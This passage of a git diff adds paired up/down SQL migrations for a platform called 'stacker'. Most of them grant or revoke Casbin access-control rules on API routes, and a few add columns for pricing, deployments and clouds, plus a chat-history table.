stacks (e.g., "komodo" for komodo-core, komodo-ferretdb)'; diff --git a/stacker/stacker/migrations/20260204120000_casbin_container_discovery_rules.down.sql b/stacker/stacker/migrations/20260204120000_casbin_container_discovery_rules.down.sql new file mode 100644 index 0000000..3d31ac3 --- /dev/null +++ b/stacker/stacker/migrations/20260204120000_casbin_container_discovery_rules.down.sql @@ -0,0 +1,4 @@ +-- Remove Casbin rules for container discovery and import endpoints + +DELETE FROM public.casbin_rule WHERE ptype='p' AND v1='/api/v1/project/:id/containers/discover' AND v2='GET'; +DELETE FROM public.casbin_rule WHERE ptype='p' AND v1='/api/v1/project/:id/containers/import' AND v2='POST'; diff --git a/stacker/stacker/migrations/20260204120000_casbin_container_discovery_rules.up.sql b/stacker/stacker/migrations/20260204120000_casbin_container_discovery_rules.up.sql new file mode 100644 index 0000000..7d033fd --- /dev/null +++ b/stacker/stacker/migrations/20260204120000_casbin_container_discovery_rules.up.sql @@ -0,0 +1,13 @@ +-- Add Casbin rules for container discovery and import endpoints + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + -- Discover containers - allow users and admins + ('p', 'group_user', '/api/v1/project/:id/containers/discover', 'GET', '', '', ''), + ('p', 'group_admin', '/api/v1/project/:id/containers/discover', 'GET', '', '', ''), + ('p', 'root', '/api/v1/project/:id/containers/discover', 'GET', '', '', ''), + -- Import containers - allow users and admins + ('p', 'group_user', '/api/v1/project/:id/containers/import', 'POST', '', '', ''), + ('p', 'group_admin', '/api/v1/project/:id/containers/import', 'POST', '', '', ''), + ('p', 'root', '/api/v1/project/:id/containers/import', 'POST', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260206120000_casbin_project_app_rules.down.sql b/stacker/stacker/migrations/20260206120000_casbin_project_app_rules.down.sql new file mode 100644 index 0000000..5fd4b19 --- /dev/null +++ b/stacker/stacker/migrations/20260206120000_casbin_project_app_rules.down.sql @@ -0,0 +1,13 @@ +-- Remove Casbin rules for project app routes +DELETE FROM public.casbin_rule +WHERE ptype = 'p' + AND v0 = 'group_user' + AND v1 IN ( + '/project/:id/apps', + '/project/:id/apps/:code', + '/project/:id/apps/:code/config', + '/project/:id/apps/:code/env', + '/project/:id/apps/:code/env/:name', + '/project/:id/apps/:code/ports', + '/project/:id/apps/:code/domain' + ); diff --git a/stacker/stacker/migrations/20260206120000_casbin_project_app_rules.up.sql b/stacker/stacker/migrations/20260206120000_casbin_project_app_rules.up.sql new file mode 100644 index 0000000..f11545d --- /dev/null +++ b/stacker/stacker/migrations/20260206120000_casbin_project_app_rules.up.sql @@ -0,0 +1,24 @@ +-- Add Casbin rules for project app CRUD and configuration endpoints +-- These routes were added via project_app table but never got Casbin policies + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + -- List apps in a project + ('p', 'group_user', '/project/:id/apps', 'GET', '', '', ''), + -- Create app in a project + ('p', 'group_user', '/project/:id/apps', 'POST', '', '', ''), + -- Get a specific app by code + ('p', 'group_user', '/project/:id/apps/:code', 'GET', '', '', ''), + -- Get app configuration + ('p', 'group_user', '/project/:id/apps/:code/config', 'GET', '', '', ''), + -- Get app environment variables + ('p', 'group_user', '/project/:id/apps/:code/env', 'GET', '', '', ''), + -- Update app environment variables + ('p', 'group_user', '/project/:id/apps/:code/env', 'PUT', '', '', ''), + -- Delete a specific environment variable + ('p', 'group_user', '/project/:id/apps/:code/env/:name', 'DELETE', '', '', ''), + -- Update app port mappings + ('p', 'group_user', '/project/:id/apps/:code/ports', 'PUT', '', '', ''), + -- Update app domain settings + ('p', 'group_user', '/project/:id/apps/:code/domain', 'PUT', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260209120000_casbin_root_to_group_admin.down.sql b/stacker/stacker/migrations/20260209120000_casbin_root_to_group_admin.down.sql new file mode 100644 index 0000000..9b8721a --- /dev/null +++ b/stacker/stacker/migrations/20260209120000_casbin_root_to_group_admin.down.sql @@ -0,0 +1,2 @@ +DELETE FROM public.casbin_rule +WHERE ptype = 'g' AND v0 = 'root' AND v1 = 'group_admin'; diff --git a/stacker/stacker/migrations/20260209120000_casbin_root_to_group_admin.up.sql b/stacker/stacker/migrations/20260209120000_casbin_root_to_group_admin.up.sql new file mode 100644 index 0000000..edb0dda --- /dev/null +++ b/stacker/stacker/migrations/20260209120000_casbin_root_to_group_admin.up.sql @@ -0,0 +1,7 @@ +-- Map User Service 'root' role to stacker 'group_admin' role group +-- User Service /me endpoint returns role="root" for admin users, +-- but stacker Casbin policies use 'group_admin' for admin-level access. +-- This grouping rule bridges the two role systems. +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('g', 'root', 'group_admin', '', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260210130000_casbin_admin_template_detail.down.sql b/stacker/stacker/migrations/20260210130000_casbin_admin_template_detail.down.sql new file mode 100644 index 0000000..6fd7a00 --- /dev/null +++ b/stacker/stacker/migrations/20260210130000_casbin_admin_template_detail.down.sql @@ -0,0 +1,5 @@ +-- Remove Casbin rules for admin template detail endpoint +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'admin_service' AND v1 = '/api/admin/templates/:id' AND v2 = 'GET'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'group_admin' AND v1 = '/api/admin/templates/:id' AND v2 = 'GET'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'admin_service' AND v1 = '/stacker/admin/templates/:id' AND v2 = 'GET'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'group_admin' AND v1 = '/stacker/admin/templates/:id' AND v2 = 'GET'; diff --git a/stacker/stacker/migrations/20260210130000_casbin_admin_template_detail.up.sql b/stacker/stacker/migrations/20260210130000_casbin_admin_template_detail.up.sql new file mode 100644 index 0000000..e3047c2 --- /dev/null +++ b/stacker/stacker/migrations/20260210130000_casbin_admin_template_detail.up.sql @@ -0,0 +1,16 @@ +-- Add Casbin rules for admin template detail endpoint (GET /api/admin/templates/:id) +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'admin_service', '/api/admin/templates/:id', 'GET', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/api/admin/templates/:id', 'GET', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'admin_service', '/stacker/admin/templates/:id', 'GET', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/stacker/admin/templates/:id', 'GET', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260210140000_casbin_admin_security_scan.down.sql b/stacker/stacker/migrations/20260210140000_casbin_admin_security_scan.down.sql new file mode 100644 index 0000000..aa4bbc9 --- /dev/null +++ b/stacker/stacker/migrations/20260210140000_casbin_admin_security_scan.down.sql @@ -0,0 +1,3 @@ +-- Remove Casbin rules for admin template security scan endpoint +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v1 = '/api/admin/templates/:id/security-scan' AND v2 = 'POST'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v1 = '/stacker/admin/templates/:id/security-scan' AND v2 = 'POST'; diff --git a/stacker/stacker/migrations/20260210140000_casbin_admin_security_scan.up.sql b/stacker/stacker/migrations/20260210140000_casbin_admin_security_scan.up.sql new file mode 100644 index 0000000..7f56ba5 --- /dev/null +++ b/stacker/stacker/migrations/20260210140000_casbin_admin_security_scan.up.sql @@ -0,0 +1,16 @@ +-- Add Casbin rules for admin template security scan endpoint +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'admin_service', '/api/admin/templates/:id/security-scan', 'POST', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/api/admin/templates/:id/security-scan', 'POST', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'admin_service', '/stacker/admin/templates/:id/security-scan', 'POST', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/stacker/admin/templates/:id/security-scan', 'POST', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260210150000_casbin_resubmit_template.down.sql b/stacker/stacker/migrations/20260210150000_casbin_resubmit_template.down.sql new file mode 100644 index 0000000..20f5010 --- /dev/null +++ b/stacker/stacker/migrations/20260210150000_casbin_resubmit_template.down.sql @@ -0,0 +1,2 @@ +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v1 = '/api/templates/:id/resubmit' AND v2 = 'POST'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v1 = '/stacker/templates/:id/resubmit' AND v2 = 'POST'; diff --git a/stacker/stacker/migrations/20260210150000_casbin_resubmit_template.up.sql b/stacker/stacker/migrations/20260210150000_casbin_resubmit_template.up.sql new file mode 100644 index 0000000..7d553d6 --- /dev/null +++ b/stacker/stacker/migrations/20260210150000_casbin_resubmit_template.up.sql @@ -0,0 +1,25 @@ +-- Allow users and admins to resubmit templates with new versions +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_user', '/api/templates/:id/resubmit', 'POST', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/api/templates/:id/resubmit', 'POST', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'admin_service', '/api/templates/:id/resubmit', 'POST', '', '', '') +ON CONFLICT DO NOTHING; + +-- Also cover /stacker/ prefixed paths (nginx proxy) +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_user', '/stacker/templates/:id/resubmit', 'POST', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/stacker/templates/:id/resubmit', 'POST', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'admin_service', '/stacker/templates/:id/resubmit', 'POST', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260210160000_casbin_admin_unapprove.down.sql b/stacker/stacker/migrations/20260210160000_casbin_admin_unapprove.down.sql new file mode 100644 index 0000000..d99ff27 --- /dev/null +++ b/stacker/stacker/migrations/20260210160000_casbin_admin_unapprove.down.sql @@ -0,0 +1,3 @@ +-- Remove Casbin rules for admin template unapprove endpoint +DELETE FROM public.casbin_rule +WHERE ptype = 'p' AND v1 = '/api/admin/templates/:id/unapprove' AND v2 = 'POST'; diff --git a/stacker/stacker/migrations/20260210160000_casbin_admin_unapprove.up.sql b/stacker/stacker/migrations/20260210160000_casbin_admin_unapprove.up.sql new file mode 100644 index 0000000..6058b0b --- /dev/null +++ b/stacker/stacker/migrations/20260210160000_casbin_admin_unapprove.up.sql @@ -0,0 +1,12 @@ +-- Add Casbin rules for admin template unapprove endpoint +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'admin_service', '/api/admin/templates/:id/unapprove', 'POST', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/api/admin/templates/:id/unapprove', 'POST', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'root', '/api/admin/templates/:id/unapprove', 'POST', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260211100000_add_pricing_to_stack_template.down.sql b/stacker/stacker/migrations/20260211100000_add_pricing_to_stack_template.down.sql new file mode 100644 index 0000000..72351e9 --- /dev/null +++ b/stacker/stacker/migrations/20260211100000_add_pricing_to_stack_template.down.sql @@ -0,0 +1,3 @@ +ALTER TABLE stack_template DROP COLUMN IF EXISTS price; +ALTER TABLE stack_template DROP COLUMN IF EXISTS billing_cycle; +ALTER TABLE stack_template DROP COLUMN IF EXISTS currency; diff --git a/stacker/stacker/migrations/20260211100000_add_pricing_to_stack_template.up.sql b/stacker/stacker/migrations/20260211100000_add_pricing_to_stack_template.up.sql new file mode 100644 index 0000000..7804428 --- /dev/null +++ b/stacker/stacker/migrations/20260211100000_add_pricing_to_stack_template.up.sql @@ -0,0 +1,5 @@ +-- Add pricing columns to stack_template +-- Creator sets price during template submission; webhook sends it to User Service products table +ALTER TABLE stack_template ADD COLUMN IF NOT EXISTS price DOUBLE PRECISION DEFAULT 0; +ALTER TABLE stack_template ADD COLUMN IF NOT EXISTS billing_cycle VARCHAR(50) DEFAULT 'free'; +ALTER TABLE stack_template ADD COLUMN IF NOT EXISTS currency VARCHAR(3) DEFAULT 'USD'; diff --git a/stacker/stacker/migrations/20260211120000_add_deployment_id_to_project_app.down.sql b/stacker/stacker/migrations/20260211120000_add_deployment_id_to_project_app.down.sql new file mode 100644 index 0000000..0fef063 --- /dev/null +++ b/stacker/stacker/migrations/20260211120000_add_deployment_id_to_project_app.down.sql @@ -0,0 +1,11 @@ +-- Revert deployment_id addition from project_app + +DROP INDEX IF EXISTS unique_project_app_deployment_code; +DROP INDEX IF EXISTS unique_project_app_code_legacy; +DROP INDEX IF EXISTS idx_project_app_deployment_code; +DROP INDEX IF EXISTS idx_project_app_deployment_id; + +ALTER TABLE project_app DROP COLUMN IF EXISTS deployment_id; + +-- Restore original unique constraint +ALTER TABLE project_app ADD CONSTRAINT unique_project_app_code UNIQUE (project_id, code); diff --git a/stacker/stacker/migrations/20260211120000_add_deployment_id_to_project_app.up.sql b/stacker/stacker/migrations/20260211120000_add_deployment_id_to_project_app.up.sql new file mode 100644 index 0000000..0a9def9 --- /dev/null +++ b/stacker/stacker/migrations/20260211120000_add_deployment_id_to_project_app.up.sql @@ -0,0 +1,39 @@ +-- Add deployment_id to project_app to scope apps per deployment +-- This fixes the bug where all deployments of the same project share the same apps/containers + +ALTER TABLE project_app ADD COLUMN IF NOT EXISTS deployment_id INTEGER; + +-- Add index for fast lookup by deployment +CREATE INDEX IF NOT EXISTS idx_project_app_deployment_id ON project_app(deployment_id); + +-- Composite index for deployment + code lookups +CREATE INDEX IF NOT EXISTS idx_project_app_deployment_code ON project_app(deployment_id, code); + +-- Backfill: for existing project_apps, try to set deployment_id from the latest deployment for their project +UPDATE project_app pa +SET deployment_id = d.id +FROM ( + SELECT DISTINCT ON (project_id) id, project_id + FROM deployment + WHERE deleted = false + ORDER BY project_id, created_at DESC +) d +WHERE pa.project_id = d.project_id + AND pa.deployment_id IS NULL; + +-- Update the unique constraint to be per deployment instead of per project +-- First drop the old constraint +ALTER TABLE project_app DROP CONSTRAINT IF EXISTS unique_project_app_code; + +-- Add new constraint: unique per (project_id, deployment_id, code) +-- Use a partial unique index to handle NULL deployment_id (legacy rows) +CREATE UNIQUE INDEX IF NOT EXISTS unique_project_app_deployment_code + ON project_app (project_id, deployment_id, code) + WHERE deployment_id IS NOT NULL; + +-- Keep backward compatibility: unique per (project_id, code) when deployment_id IS NULL +CREATE UNIQUE INDEX IF NOT EXISTS unique_project_app_code_legacy + ON project_app (project_id, code) + WHERE deployment_id IS NULL; + +COMMENT ON COLUMN project_app.deployment_id IS 'Deployment this app belongs to. NULL for legacy apps created before deployment scoping.'; diff --git a/stacker/stacker/migrations/20260213100000_add_cloud_id_to_server.down.sql b/stacker/stacker/migrations/20260213100000_add_cloud_id_to_server.down.sql new file mode 100644 index 0000000..1f184b0 --- /dev/null +++ b/stacker/stacker/migrations/20260213100000_add_cloud_id_to_server.down.sql @@ -0,0 +1,3 @@ +-- Remove cloud_id from server table +DROP INDEX IF EXISTS idx_server_cloud_id; +ALTER TABLE server DROP COLUMN IF EXISTS cloud_id; diff --git a/stacker/stacker/migrations/20260213100000_add_cloud_id_to_server.up.sql b/stacker/stacker/migrations/20260213100000_add_cloud_id_to_server.up.sql new file mode 100644 index 0000000..986758b --- /dev/null +++ b/stacker/stacker/migrations/20260213100000_add_cloud_id_to_server.up.sql @@ -0,0 +1,8 @@ +-- Add cloud_id back to server table to track which cloud provider the server belongs to +-- This allows displaying the provider name in the UI and knowing which cloud API to use + +ALTER TABLE server ADD COLUMN cloud_id INTEGER REFERENCES cloud(id) ON DELETE SET NULL; + +CREATE INDEX idx_server_cloud_id ON server(cloud_id); + +COMMENT ON COLUMN server.cloud_id IS 'Reference to the cloud provider (DO, Hetzner, AWS, etc.) this server belongs to'; diff --git a/stacker/stacker/migrations/20260217120000_casbin_server_ssh_validate.down.sql b/stacker/stacker/migrations/20260217120000_casbin_server_ssh_validate.down.sql new file mode 100644 index 0000000..a265c69 --- /dev/null +++ b/stacker/stacker/migrations/20260217120000_casbin_server_ssh_validate.down.sql @@ -0,0 +1,4 @@ +DELETE FROM public.casbin_rule +WHERE ptype = 'p' + AND v1 = '/server/:id/ssh-key/validate' + AND v2 = 'POST'; diff --git a/stacker/stacker/migrations/20260217120000_casbin_server_ssh_validate.up.sql b/stacker/stacker/migrations/20260217120000_casbin_server_ssh_validate.up.sql new file mode 100644 index 0000000..0fc5fa1 --- /dev/null +++ b/stacker/stacker/migrations/20260217120000_casbin_server_ssh_validate.up.sql @@ -0,0 +1,6 @@ +-- Add missing Casbin rule for SSH key validate endpoint +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + ('p', 'group_user', '/server/:id/ssh-key/validate', 'POST', '', '', ''), + ('p', 'root', '/server/:id/ssh-key/validate', 'POST', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260218100000_fix_casbin_container_discovery_paths.down.sql b/stacker/stacker/migrations/20260218100000_fix_casbin_container_discovery_paths.down.sql new file mode 100644 index 0000000..6c1fcfe --- /dev/null +++ b/stacker/stacker/migrations/20260218100000_fix_casbin_container_discovery_paths.down.sql @@ -0,0 +1,18 @@ +-- Revert fix: remove correct-path rules and restore the original (wrong) ones +DELETE FROM public.casbin_rule +WHERE ptype = 'p' + AND v1 IN ( + '/project/:id/containers/discover', + '/project/:id/containers/import' + ); + +-- Re-insert the original (incorrect) rules so rolling back is clean +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + ('p', 'group_user', '/api/v1/project/:id/containers/discover', 'GET', '', '', ''), + ('p', 'group_admin', '/api/v1/project/:id/containers/discover', 'GET', '', '', ''), + ('p', 'root', '/api/v1/project/:id/containers/discover', 'GET', '', '', ''), + ('p', 'group_user', '/api/v1/project/:id/containers/import', 'POST', '', '', ''), + ('p', 'group_admin', '/api/v1/project/:id/containers/import', 'POST', '', '', ''), + ('p', 'root', '/api/v1/project/:id/containers/import', 'POST', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260218100000_fix_casbin_container_discovery_paths.up.sql b/stacker/stacker/migrations/20260218100000_fix_casbin_container_discovery_paths.up.sql new file mode 100644 index 0000000..3e39b25 --- /dev/null +++ b/stacker/stacker/migrations/20260218100000_fix_casbin_container_discovery_paths.up.sql @@ -0,0 +1,22 @@ +-- Fix Casbin rules for container discovery and import endpoints +-- The original migration used wrong path prefix '/api/v1/project/...' +-- Correct paths are '/project/:id/containers/discover' and '/project/:id/containers/import' + +-- Remove incorrectly-prefixed rules +DELETE FROM public.casbin_rule +WHERE ptype = 'p' + AND v1 IN ( + '/api/v1/project/:id/containers/discover', + '/api/v1/project/:id/containers/import' + ); + +-- Insert rules with correct paths +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + ('p', 'group_user', '/project/:id/containers/discover', 'GET', '', '', ''), + ('p', 'group_admin', '/project/:id/containers/discover', 'GET', '', '', ''), + ('p', 'root', '/project/:id/containers/discover', 'GET', '', '', ''), + ('p', 'group_user', '/project/:id/containers/import', 'POST', '', '', ''), + ('p', 'group_admin', '/project/:id/containers/import', 'POST', '', '', ''), + ('p', 'root', '/project/:id/containers/import', 'POST', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260219120000_create_chat_conversations.down.sql b/stacker/stacker/migrations/20260219120000_create_chat_conversations.down.sql new file mode 100644 index 0000000..d3a5499 --- /dev/null +++ b/stacker/stacker/migrations/20260219120000_create_chat_conversations.down.sql @@ -0,0 +1 @@ +DROP TABLE IF EXISTS chat_conversations; diff --git a/stacker/stacker/migrations/20260219120000_create_chat_conversations.up.sql b/stacker/stacker/migrations/20260219120000_create_chat_conversations.up.sql new file mode 100644 index 0000000..b06f60d --- /dev/null +++ b/stacker/stacker/migrations/20260219120000_create_chat_conversations.up.sql @@ -0,0 +1,18 @@ +-- Chat conversations: persists AI chat history per user per project +CREATE TABLE chat_conversations ( + id UUID PRIMARY KEY DEFAULT gen_random_uuid(), + user_id VARCHAR(255) NOT NULL, + project_id INTEGER, -- NULL = canvas / onboarding mode + messages JSONB NOT NULL DEFAULT '[]'::jsonb, + created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(), + updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW() +); + +-- One row per (user, project) pair; partial indexes allow NULL project_id +CREATE UNIQUE INDEX idx_chat_conv_user_project + ON chat_conversations(user_id, project_id) + WHERE project_id IS NOT NULL; + +CREATE UNIQUE INDEX idx_chat_conv_user_no_project + ON chat_conversations(user_id) + WHERE project_id IS NULL; diff --git a/stacker/stacker/migrations/20260219130000_casbin_chat_rules.down.sql b/stacker/stacker/migrations/20260219130000_casbin_chat_rules.down.sql new file mode 100644 index 0000000..f4f6558 --- /dev/null +++ b/stacker/stacker/migrations/20260219130000_casbin_chat_rules.down.sql @@ -0,0 +1,3 @@ +DELETE FROM public.casbin_rule +WHERE ptype = 'p' + AND v1 = '/chat/history'; diff --git a/stacker/stacker/migrations/20260219130000_casbin_chat_rules.up.sql b/stacker/stacker/migrations/20260219130000_casbin_chat_rules.up.sql new file mode 100644 index 0000000..9447d73 --- /dev/null +++ b/stacker/stacker/migrations/20260219130000_casbin_chat_rules.up.sql @@ -0,0 +1,11 @@ +-- Allow authenticated users and admins to access chat history endpoints + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + ('p', 'group_user', '/chat/history', 'GET', '', '', ''), + ('p', 'group_user', '/chat/history', 'PUT', '', '', ''), + ('p', 'group_user', '/chat/history', 'DELETE', '', '', ''), + ('p', 'group_admin', '/chat/history', 'GET', '', '', ''), + ('p', 'group_admin', '/chat/history', 'PUT', '', '', ''), + ('p', 'group_admin', '/chat/history', 'DELETE', '', '', '') +ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; diff --git a/stacker/stacker/migrations/20260225120000_casbin_deployment_status_rules.down.sql b/stacker/stacker/migrations/20260225120000_casbin_deployment_status_rules.down.sql new file mode 100644 index 0000000..b0a4a96 --- /dev/null +++ b/stacker/stacker/migrations/20260225120000_casbin_deployment_status_rules.down.sql @@ -0,0 +1,6 @@ +-- Rollback: remove deployment status ACL rules +DELETE FROM public.casbin_rule +WHERE ptype = 'p' + AND v0 = 'group_user' + AND v1 IN ('/api/v1/deployments/:id', '/api/v1/deployments/project/:project_id') + AND v2 = 'GET'; diff --git a/stacker/stacker/migrations/20260225120000_casbin_deployment_status_rules.up.sql b/stacker/stacker/migrations/20260225120000_casbin_deployment_status_rules.up.sql new file mode 100644 index 0000000..731960e --- /dev/null +++ b/stacker/stacker/migrations/20260225120000_casbin_deployment_status_rules.up.sql @@ -0,0 +1,6 @@ +-- Allow authenticated users to fetch deployment status by ID and by project ID +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + ('p', 'group_user', '/api/v1/deployments/:id', 'GET', '', '', ''), + ('p', 'group_user', '/api/v1/deployments/project/:project_id', 'GET', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260304220000_fix_casbin_agent_register_anon.down.sql b/stacker/stacker/migrations/20260304220000_fix_casbin_agent_register_anon.down.sql new file mode 100644 index 0000000..572cb10 --- /dev/null +++ b/stacker/stacker/migrations/20260304220000_fix_casbin_agent_register_anon.down.sql @@ -0,0 +1,6 @@ +-- Revert: remove the anonymous agent registration Casbin rule +DELETE FROM public.casbin_rule +WHERE ptype = 'p' + AND v0 = 'group_anonymous' + AND v1 = '/api/v1/agent/register' + AND v2 = 'POST'; diff --git a/stacker/stacker/migrations/20260304220000_fix_casbin_agent_register_anon.up.sql b/stacker/stacker/migrations/20260304220000_fix_casbin_agent_register_anon.up.sql new file mode 100644 index 0000000..664d18d --- /dev/null +++ b/stacker/stacker/migrations/20260304220000_fix_casbin_agent_register_anon.up.sql @@ -0,0 +1,11 @@ +-- Fix: Allow anonymous (unauthenticated) access to POST /api/v1/agent/register +-- Ansible-triggered deployments call this endpoint without an Authorization header. +-- The anonym subject is mapped to group_anonymous via the initial seed rules, +-- so granting group_anonymous access here covers all unauthenticated callers. +-- +-- This is an idempotent re-insert of the rule from +-- 20251222160220_casbin_agent_rules.up.sql which may be missing in production. + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_anonymous', '/api/v1/agent/register', 'POST', '', '', '') +ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; diff --git a/stacker/stacker/migrations/20260306120000_add_cloud_name.down.sql b/stacker/stacker/migrations/20260306120000_add_cloud_name.down.sql new file mode 100644 index 0000000..ae04cab --- /dev/null +++ b/stacker/stacker/migrations/20260306120000_add_cloud_name.down.sql @@ -0,0 +1,2 @@ +DROP INDEX IF EXISTS idx_cloud_user_name; +ALTER TABLE cloud DROP COLUMN IF EXISTS name; diff --git a/stacker/stacker/migrations/20260306120000_add_cloud_name.up.sql b/stacker/stacker/migrations/20260306120000_add_cloud_name.up.sql new file mode 100644 index 0000000..7af2a1c --- /dev/null +++ b/stacker/stacker/migrations/20260306120000_add_cloud_name.up.sql @@ -0,0 +1,12 @@ +-- Add a human-friendly name to cloud credentials so users can reference them +-- by name (e.g. `stacker deploy --key my-hetzner`) instead of by provider. +ALTER TABLE cloud ADD COLUMN name VARCHAR(100); + +-- Backfill existing rows: default name = "{provider}-{id}" (e.g. "htz-4") +UPDATE cloud SET name = provider || '-' || id WHERE name IS NULL; + +-- Make name NOT NULL after backfill +ALTER TABLE cloud ALTER COLUMN name SET NOT NULL; + +-- Unique per user: a user can't have two cloud keys with the same name +CREATE UNIQUE INDEX idx_cloud_user_name ON cloud (user_id, name); diff --git a/stacker/stacker/migrations/20260306190000_casbin_client_role_mapping.down.sql b/stacker/stacker/migrations/20260306190000_casbin_client_role_mapping.down.sql new file mode 100644 index 0000000..8f134f2 --- /dev/null +++ b/stacker/stacker/migrations/20260306190000_casbin_client_role_mapping.down.sql @@ -0,0 +1,9 @@ +-- Revert client role Casbin mappings +DELETE FROM public.casbin_rule WHERE ptype = 'g' AND v0 = 'client' AND v1 = 'group_anonymous'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'client' AND v1 = '/api/v1/agent/register' AND v2 = 'POST'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'client' AND v1 = '/api/v1/agent/commands/wait/:deployment_hash' AND v2 = 'GET'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'client' AND v1 = '/api/v1/agent/commands/report' AND v2 = 'POST'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'client' AND v1 = '/project/:id/deploy' AND v2 = 'POST'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'client' AND v1 = '/project/:id/deploy/:cloud_id' AND v2 = 'POST'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'client' AND v1 = '/project/:id/compose' AND v2 = 'GET'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'client' AND v1 = '/project/:id/compose' AND v2 = 'POST'; diff --git a/stacker/stacker/migrations/20260306190000_casbin_client_role_mapping.up.sql b/stacker/stacker/migrations/20260306190000_casbin_client_role_mapping.up.sql new file mode 100644 index 0000000..658e871 --- /dev/null +++ b/stacker/stacker/migrations/20260306190000_casbin_client_role_mapping.up.sql @@ -0,0 +1,44 @@ +-- Fix 403 on agent registration when using HMAC auth (client role). +-- The HMAC middleware now sets subject = "client" (previously was the numeric +-- client_id which had no Casbin mapping at all). +-- Ensure the "client" role inherits from group_anonymous (like group_user/group_admin). + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('g', 'client', 'group_anonymous', '', '', '', '') +ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; + +-- Safety: ensure agent register is accessible by group_anonymous +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_anonymous', '/api/v1/agent/register', 'POST', '', '', '') +ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; + +-- Safety: ensure client has explicit access to agent register +INSERT INTO public.casbin_rule 